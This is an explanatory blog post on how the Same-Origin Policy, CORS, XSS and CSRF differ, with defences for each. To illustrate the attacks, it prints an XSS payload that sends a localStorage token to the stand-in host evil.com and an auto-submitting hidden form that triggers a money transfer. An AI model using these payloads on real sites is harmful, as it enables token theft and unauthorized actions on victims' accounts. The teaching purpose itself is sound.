August 1, 2026
Untangling SOP, CORS, XSS, and CSRF
The three concepts every developer mixes up at least once

By Loy Misquith
4 min read
The three concepts every developer mixes up at least once
If you've ever pasted Access-Control-Allow-Origin: * into a config file just to make an error go away, you're not alone. CORS is one of those things almost every web developer has fought before they actually understood. And in my experience, the confusion usually isn't about the syntax — it's about what CORS is actually for.
Here's the misconception I had for a long time: I thought CORS was a security feature that protects my backend. It isn't. Let me explain what it actually does, and then walk through the two attacks people usually — incorrectly — assume CORS is protecting them from.
CORS Doesn't Protect Anything: It Permits Things
Browsers ship with a built-in default called the Same-Origin Policy (SOP). Its job is simple: a script running on abc.com should not be able to read a response from xyz.com. Full stop. That's the actual protection, and it's on by default, with no configuration needed.
CORS is not a wall. CORS is a hole you deliberately punch in that wall.
When your backend at xyz.com sends back a header like: Access-Control-Allow-Origin: https://abc.com you're telling the browser, "I know this breaks the default rule — go ahead and let scripts from abc.com read my response anyway." That's it. That's the entire job of CORS. It's an opt-in relaxation of a restriction, not a restriction itself.
This is why setting Access-Control-Allow-Origin: * is risky — you're not "turning on security," you're removing the one browser-level restriction that was quietly protecting you, and telling every origin on the internet it's welcome to read your responses.
And here's the part that trips people up the most: CORS only governs browsers. A backend service calling another backend service — no browser involved — was never restricted by SOP in the first place, so CORS has nothing to do with server-to-server integrations at all.
So if CORS isn't protecting your resources, what actually can hurt you? Two attacks come up constantly: XSS and CSRF. They sound similar. They are not.
Cross-Site Scripting (XSS): When the Attacker's Code Runs As You
Imagine your frontend at abc.com has a comment box, and it doesn't sanitize what people type into it. Someone submits:
<script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script><script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script>If your app renders that comment back onto the page without escaping it, the browser doesn't see "text that looks like a script." It sees a script — and runs it, as if it were your own application's code. Same origin. Full trust. Full access to whatever your app can normally touch, including a token sitting in localStorage or a JavaScript-readable cookie.
The attacker's script quietly reads the token and ships it off to their own server. From that point on, they don't need you at all — they have your token, and can impersonate you directly, from anywhere.
Why doesn't CORS stop this? Because there's no cross-origin request happening from the victim's side that needs blocking. The malicious script is running inside abc.com, same origin as everything else. CORS only restricts other origins from reading responses — it has nothing to say about code running on your own origin.
What actually stops it:
- Input sanitization / output escaping — the malicious script should never render as executable code in the first place
- httpOnly cookies — if the token is stored this way, JavaScript (malicious or not) simply cannot read it, full stop
- Content-Security-Policy (CSP) headers — restrict which scripts are allowed to run and where they're allowed to send data
Cross-Site Request Forgery (CSRF): When the Attacker Never Reads Anything
This one's genuinely counterintuitive the first time you see it, because the attacker doesn't steal anything at all.
Say you're logged into abc.com, and your session is tracked via a cookie for xyz.com. You open a second tab to some unrelated, malicious site — evil.com. That page contains something like this, invisible to you:
<form action="https://xyz.com/api/transfer-money" method="POST">
<input name="amount" value="10000">
<input name="to" value="attacker-account">
</form>
<script>document.forms[0].submit()</script><form action="https://xyz.com/api/transfer-money" method="POST">
<input name="amount" value="10000">
<input name="to" value="attacker-account">
</form>
<script>document.forms[0].submit()</script>The moment that page loads, your browser fires a POST request to xyz.com. And here's the part that makes CSRF work: browsers automatically attach cookies to a request based on the destination domain, regardless of which tab or site triggered the request. Your browser doesn't ask "did the user actually mean to do this?" It just sees "request going to xyz.com" and helpfully attaches your xyz.com cookie along for the ride.
xyz.com receives a request with a valid session cookie and has no way to tell it wasn't initiated by you, on purpose. The transfer goes through.
Notice what didn't happen: the attacker never read your cookie. Never saw your token. Never ran a script that touched document.cookie. They didn't need to — they just needed your browser to fire off an authenticated request, blind.
Why doesn't CORS stop this either? CORS governs whether a script can read the response of a cross-origin request. The attacker doesn't care about the response. The money already moved by the time anyone would read anything. CORS is almost entirely irrelevant to CSRF.
And here's the trap that catches a lot of people: httpOnly cookies — the exact fix for XSS — do nothing to stop CSRF. httpOnly only blocks JavaScript from reading a cookie's value. It says nothing about whether the browser is allowed to send that cookie automatically. The browser doesn't check "is this httpOnly" before deciding to attach a cookie to a cross-site request — it attaches it regardless.
What actually stops it:
SameSite=LaxorSameSite=Strictcookie attribute — explicitly tells the browser not to send this cookie on requests originating from another site. This alone kills most CSRF attacks.- CSRF tokens — a random, unpredictable token embedded in your legitimate forms that the server checks on state-changing requests.
evil.comhas no way to know or guess it. - Checking
Origin/Refererheaders server-side, as a secondary layer.
The Takeaway
CORS, XSS, and CSRF get lumped together constantly because they all live in the same neighborhood — browser security, cross-origin behavior, tokens and cookies. But they answer three completely different questions:
- CORS — "Which other origins am I allowed to let read my responses?"
- XSS — "Can an attacker get their own code to run inside my trusted origin?"
- CSRF — "Can an attacker trick a victim's browser into sending an authenticated request without the victim's knowledge?"
Once you stop treating CORS as a security wall and start treating it as a deliberate, narrow exception to a browser default — and once you separate "attacker reads your data" (XSS) from "attacker triggers an action using your session" (CSRF) — the whole topic stops being a blur of acronyms and starts being three specific, solvable problems.